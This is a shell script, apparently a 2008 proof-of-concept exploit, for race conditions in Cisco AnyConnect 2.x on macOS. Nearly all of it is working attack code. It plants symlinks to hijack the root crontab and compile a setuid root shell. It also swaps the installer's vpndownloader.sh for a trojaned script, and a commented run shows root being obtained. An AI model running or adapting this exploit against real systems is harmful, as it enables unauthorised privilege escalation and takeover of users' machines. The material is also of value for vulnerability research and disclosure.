#!/bin/sh

# Exploits a series of trivial race condition in Cisco's AnyConnect VPN
# Client on Mac platforms.  Tested only on version 2.2.0128, but I suspect
# there is no reason for this not to work on any 2.x version until Cisco
# fixes it.  Similar vulnerabilities exist with the client on Linux platforms
# too
# 
#
# Jon Hart <jhart@spoofed.org>, April 2008

SETUID_SHELL=""

setuid_shell() {
   SH_C="sh_c-$$.c"
   # write out setuid shell
   echo "main() { seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }" > $SH_C

   # try like hell to get this shell compiled
   SETUID_SHELL=`mktemp /tmp/vpnshell-$$.XXXXXX`
   gcc -o $SETUID_SHELL $SH_C 2>&1 > /dev/null 2>&1
   if [ $? != 0 ]; then
      cc -o $SETUID_SHELL $SH_C 2>&1 > /dev/null 2>&1
      if [ $? != 0 ]; then
         echo "No cc/gcc found, or something went wrong"
         cp /bin/sh /tmp/sh
         SETUID_SHELL=/bin/sh
      fi
   fi
   rm -f $SH_C
}

crontab_pwn() {
   TARGET_FILE=$1
   TARGET_USER=$2
   if [ -h $TARGET_FILE ]; then
      echo "$TARGET_FILE already exists -- sloppy seconds!  Best cleanup."
      rm -f $TARGET_FILE || exit 1
   fi

   if [ -f $TARGET_FILE ]; then
      echo "$TARGET_FILE already exists"
      echo "Waiting ... but this probably won't work."

      while (true); do
         if [ ! -f $TARGET_FILE ]; then
            echo "$TARGET_FILE no longer exists -- Go time"
            break
         fi
         echo -n "."
         sleep 1 
      done
   fi

   
   TARGET_CRONTAB=/var/cron/tabs/$TARGET_USER

   if [ -f $TARGET_CRONTAB ]; then
      echo "$TARGET_USER crontab already exists.  Cannot exploit."
      exit 1
   fi


   crontab -l 2>&1 > /dev/null 2>&1
   if [ $? -ne 0 ]; then
      USER_CRONTAB=`mktemp /tmp/crontab-$$.XXXXXX`
      echo "[*] Creating bogus cronjob for $USER so that cron is running"
      # Thanks to Marco Ivaldi and KF for this
      cat >> $USER_CRONTAB << EOF
* * * * * /bin/echo > /dev/null
EOF
      crontab $USER_CRONTAB
      rm -f $USER_CRONTAB
   fi

   echo "[*] Setting up to-be-setuid shell"
   setuid_shell

   echo "[*] Creating symlink for $TARGET_FILE to $TARGET_USER cronjob"
   ln -s $TARGET_CRONTAB $TARGET_FILE

   echo "[*] Waiting for symlink to be followed (AnyConnect must be launched)"
   while (true); do
      if [ ! -h $TARGET_FILE ]; then
         echo
         echo "[*] $TARGET_FILE disappeared.  Installer probably starting"
         echo "[*] Creating symlink for $TARGET_FILE to $TARGET_USER cronjob"
         ln -s $TARGET_CRONTAB $TARGET_FILE
      fi 

      if [ -f $TARGET_CRONTAB -a -w $TARGET_CRONTAB ]; then
         rm -f $TARGET_FILE
         cat /dev/null > $TARGET_CRONTAB
         echo "* * * * * /usr/sbin/chown $TARGET_USER $SETUID_SHELL; /bin/chmod 4555 $SETUID_SHELL; /usr/bin/crontab -r" > $TARGET_CRONTAB
         echo
         echo "[*] $TARGET_USER cronjob written"
         break
      else
         echo -n "."
         sleep 1
      fi 
   done

   rm -f $TARGET_FILE
   echo "[*] Waiting for shell (could take up to 60s)"
   while (true); do
      if [ -u $SETUID_SHELL ]; then
         echo 
         echo "[*] Success -- setuid $TARGET_USER shell is $SETUID_SHELL"
         exec $SETUID_SHELL
      else
         echo -n "."
         sleep 1 
      fi
   done 
      
}

method_1() {
   # Our target is /tmp/routechangesv4.bin, which gets written mode 666 by the
   # root user every time the client is launched.  Technique is to symlink it
   # to a hopefully non-existent root crontab, and then modify that crontab
   # when it gets installed to do our bidding.  This is also exploitable at
   # install time, albeit a bit less reliably.
   #
   # jhart-mac:/tmp test$ id
   # uid=502(test) gid=502(test) groups=502(test)
   # jhart-mac:/tmp test$ uname -a
   # Darwin jhart-mac 8.11.1 Darwin Kernel Version 8.11.1: Wed Oct 10 18:23:28 PDT 2007; root:xnu-792.25.20~1/RELEASE_I386 i386 i386
   # jhart-mac:/tmp test$ ./cisco-anyconnect-mac-exploit.sh 
   # [*] Cisco AnyConnect 2.2.0128 (2.x) Mac race condition exploit(s)
   # [*] by Jon hart <jhart@spoofed.org>
   # 
   # [*] Exploiting /tmp/routechangesv4.bin race condition for local root
   # [*] Setting up to-be-setuid shell
   # [*] Creating symlink for /tmp/routechangesv4.bin to root cronjob
   # [*] Waiting for symlink to be followed (AnyConnect must be launched)
   # ......................
   # [*] root cronjob written
   # [*] Waiting for shell (could take up to 60s)
   # .....................................
   # [*] Success -- setuid root shell is /tmp/vpnshell-9697.ChTOoK
   # sh-2.05b# id
   # uid=0(root) gid=0(wheel) groups=0(wheel)


   echo "[*] Exploiting /tmp/routechangesv4.bin race condition for local root"
   crontab_pwn "/tmp/routechangesv4.bin" root
}

method_2() {
   # This method counts on a hardcoded "temporary" directory that
   # VPNJava.jar uses to place the vpndownloader.sh script.  The exploit
   # technique here is to create the temporary directory world writable,
   # wait for AnyConnect to drop vpndownloader.sh in there and then swap it
   # out with a version that we control.  This is exploitable when
   # AnyConnect is first installed or if it determines at runtime that
   # a new version is available from the VPN server.  This does not yield
   # root.  This gets you a setuid shell as the user running AnyConnect 

   TARGET_DIR="/tmp/Temp8-Vpn2e8"
   echo "[*] Exploiting $TARGET_DIR race condition for local seteuid shell"
   TARGET_FILE="$TARGET_DIR/vpndownloader.sh"
   SETUID_SHELL="/tmp/sh"
   if [ -d $TARGET_DIR -a -O $TARGET_DIR ]; then
      rm -Rf $TARGET_DIR
   elif [ -d $TARGET_DIR ]; then
      echo "$TARGET_DIR already exists as a directory -- Cisco AnyConnect VPN client already installed.  This exploit method will not work."
      exit 1
   fi

   mkdir $TARGET_DIR
   chmod 777 $TARGET_DIR

   echo "[*] Waiting for installer to create $TARGET_FILE"
   while (true); do
      if [ -f $TARGET_FILE ]; then
         echo
         echo "[*] $TARGET_FILE created"
         # Attempt to salvage and use what is downloaded so as not to ruin
         # the user experience.  Generally does not work given huge
         # variances in system load and bandwidth.  Its the thought that
         # counts, though.
         cp $TARGET_FILE $TARGET_FILE.$$
         rm -f $TARGET_FILE
         SETUID_SHELL="/tmp/vpnshell-$$"
         cat > $TARGET_FILE << EOF
#!/bin/sh
cp /bin/ksh $SETUID_SHELL
chmod 4555 $SETUID_SHELL
$TARGET_FILE.$$ "\$*"
EOF
         chmod 755 $TARGET_FILE $TARGET_FILE.$$
         break
      else 
         echo -n "."
         sleep 1
      fi
   done

   echo "[*] Waiting for seteuid user shell"
   while (true); do
      if [ -u $SETUID_SHELL ]; then
         echo
         echo "[*] Success: seteuid shell is $SETUID_SHELL:"
         exec $SETUID_SHELL
      else 
         echo -n "."
         sleep 1 
      fi
   done
}

method_3() {
   echo "[*] Exploiting /tmp/vpn-uninstall.log for ... nothing yet"
   crontab_pwn "/tmp/vpn-uninstall.log" root
}

echo "[*] Cisco AnyConnect 2.2.0128 (2.x) Mac race condition exploit(s)"
echo "[*] by Jon hart <jhart@spoofed.org>"
echo

if [ "X$1" == "X1" ]; then
   method_1
elif [ "X$1" == "X2" ]; then
   method_2
elif [ "X$1" == "X3" ]; then
   method_3
else 
   method_1
fi
